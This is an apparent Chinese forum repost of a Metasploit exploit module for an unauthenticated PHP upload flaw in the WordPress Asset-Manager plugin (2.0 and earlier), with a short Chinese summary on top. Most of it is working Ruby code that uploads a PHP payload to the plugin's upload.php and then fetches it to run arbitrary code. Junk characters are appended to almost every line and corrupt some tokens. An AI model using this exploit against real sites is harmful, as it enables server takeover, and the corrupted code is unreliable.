这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。7 d: r2 B \/ V) z( ^
! b3 \ g" x9 g* |$ Z b
##+ [" }' [. Q, ?
# This file is part of the Metasploit Framework and may be subject to* u+ f. n: o; b6 K7 y3 G: r
# redistribution and commercial restrictions. Please see the Metasploit
( M6 t" w1 [5 n( x$ k' g1 F# r# Framework web site for more information on licensing and terms of use.
& @7 k- ]2 @( l5 @# http://metasploit.com/framework/: B$ M* P# d/ @! o
##% X4 T# t' \1 W; w& R
) |* Z5 d% h0 o/ @
require 'msf/core'; Z9 a g+ ]# r+ ~) n; }+ m
require 'msf/core/exploit/php_exe'
, H7 W9 p8 i0 \ % |' o4 @ Y8 k A* q
class Metasploit3 < Msf::Exploit::Remote
+ r' a/ F4 i9 u" y Rank = ExcellentRanking, T' v- x% J0 E' Q3 M0 M t
* {% y$ A1 {. R- b( m, n5 A; Y9 Z; n
include Msf::Exploit::Remote::HttpClient
2 v$ s' P" ]5 M' r+ G6 N include Msf::Exploit: hpEXE; p: C* K0 v7 y. p h# R: s8 N* V
1 k; b9 H" T! F& }
def initialize(info = {})
/ l2 m& G+ a8 q! K8 I! i. H j0 ]: \ super(update_info(info,6 ~: t5 H$ e5 |0 m+ Y* @8 S4 d
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
- N; x6 q* [' T; C2 ~ 'Description' => %q{/ s V2 M: l( f0 c- O* _
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
) T( L# a& R7 J# U- n plugin. By abusing the upload.php file, a malicious user can upload a file to a& [$ Y9 F6 R& j
temp directory without authentication, which results in arbitrary code execution.
+ s0 |3 H9 Q3 R2 O6 _3 a },
! n3 M- [; W( @. b. ^ 'Author' =>
' o( g, T5 c A0 b( d2 O [4 }4 o7 V$ G! B, g0 N, I
'Sammy FORGIT', # initial discovery
( Z6 T7 |3 _3 ] 'James Fitts <fitts.james[at]gmail.com>' # metasploit module/ I+ c* G$ d7 W- ^! }% a1 M" \ v
],8 \7 }+ K8 y5 ?) Q% C9 s
'License' => MSF_LICENSE,( C G, [; N: u9 Q+ n' n
'References' =>
/ t' h3 n+ f# J" i8 Y4 G [
( P2 F/ t0 R1 y8 \ [ 'OSVDB', '82653' ],) q- Q* \( N; Y) j: S
[ 'BID', '53809' ],' P0 r/ w T" e4 u) @: a
[ 'EDB', '18993' ],( M# O Z4 C. o9 B) N
[ 'URL', 'http:// www.myhack58.com /' ]
. K, g' t; B' \1 g; k ],
+ w) }1 T5 ?1 O, M. B6 y! n 'Payload' =>
$ z: b8 D' ~' {9 ~ {+ K/ S6 z7 r% _5 _* h& I
'BadChars' => "\x00",* w6 }4 l" t7 l+ R! y( _' ^
},
9 {7 w# x/ P5 y' A9 Y 'Platform' => 'php',4 {$ x2 T6 @. U; P
'Arch' => ARCH_PHP,. q$ ^; ~$ p: T4 Y1 N0 N
'Targets' =>" e$ M; O. t4 j, R' S
[
# I, K) {. z. |3 w, _6 t0 j [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
1 {6 U/ w$ g% a1 u [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]2 ]2 N7 k# v0 h; G* Y) `: q
],
, E7 \+ V* _0 T/ I& K 'DefaultTarget' => 0,
2 O U' j% C( `" O 'DisclosureDate' => 'May 26 2012'))2 C$ ?( u4 v$ @ W2 A) d
% @: c$ N+ ^( N1 R3 R+ y# v+ ^5 v register_options(7 P7 [9 H1 O b+ j8 `+ {; ^
[
! @3 D; n" t! e7 O; Q8 H7 V) ~% P9 \- J, a OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])# ~4 G) f) e: @ a; L9 m
], self.class)
- C( S5 ~( `6 S end& a) i% Q, z& b# C \7 K
3 O( |7 ?0 ~+ H! v def exploit
?8 K5 t9 Y: t8 y' b' [& o. `8 Q uri = target_uri.path
$ g# M: k) K6 F& D3 A uri << '/' if uri[-1,1] != '/'
2 ]( E8 v& a X! Y1 ~" G peer = "#{rhost}:#{rport}"+ b3 m: Y6 P& D- Y
payload_name = "#{rand_text_alpha(5)}.php"
; J( ] o7 a# } php_payload = get_write_exec_payload(:unlink_self=>true)% C( ?" o1 u& b1 z/ V3 ?' w6 l
. x4 {* S+ J9 }8 b1 Y8 j( F9 i8 V data = Rex::MIME::Message.new
6 Z+ i/ n/ C1 e% c6 [3 ^ data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")9 M* q% [) `8 N* {
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
' }/ F4 `" B% B8 ~6 r1 J r, Y! w 1 B+ W" R, y# s
print_status("#{peer} - Uploading payload #{payload_name}"), e% E" x% Y7 X( G8 P7 {
res = send_request_cgi({
Z! D- U# r9 _, p+ b3 @ 'method' => 'POST',9 K4 J2 y7 g) _0 H0 S
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
/ {# z' {; u+ J* g1 V! r 'ctype' => "multipart/form-data; boundary=#{data.bound}",, c$ C' \, m$ l5 A! S3 o7 C3 x
'data' => post_data
0 |0 z. h9 M) g8 ?. z })) Z3 t8 N& x2 J* [# ?$ K
4 {" {; a7 P: D0 J* [5 z6 _ if not res or res.code != 200 or res.body !~ /#{payload_name}/0 P8 V2 A1 k4 g' @/ q2 r
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
/ ]3 D4 Y# t6 a$ g/ d! p6 a9 L e1 F6 jend: m3 S: \4 b1 X- j5 C8 A
4 \9 S' C0 v9 I8 F6 \ print_status("#{peer} - Executing payload #{payload_name}")
# t. U( V! `- o5 j2 i res = send_request_raw({3 ^& u' u; l2 k, m3 ^+ a
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",9 u1 q$ P, m; [, n
'method' => 'GET'
! B( R& W/ B9 Q" C })
: g1 D$ @, k: Z/ V4 q( j
+ h5 z7 y \2 X+ P) g% f3 N5 h if res and res.code != 2009 E" N1 W D. H% S8 \$ w! B: E
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")4 t4 y* s' x' K0 w. s
end
S" w6 K/ L( V+ B, o end. b% }! ?, t- ^! u& z7 x9 ~3 M7 V
end$ M( U6 \$ h! y' u9 W
|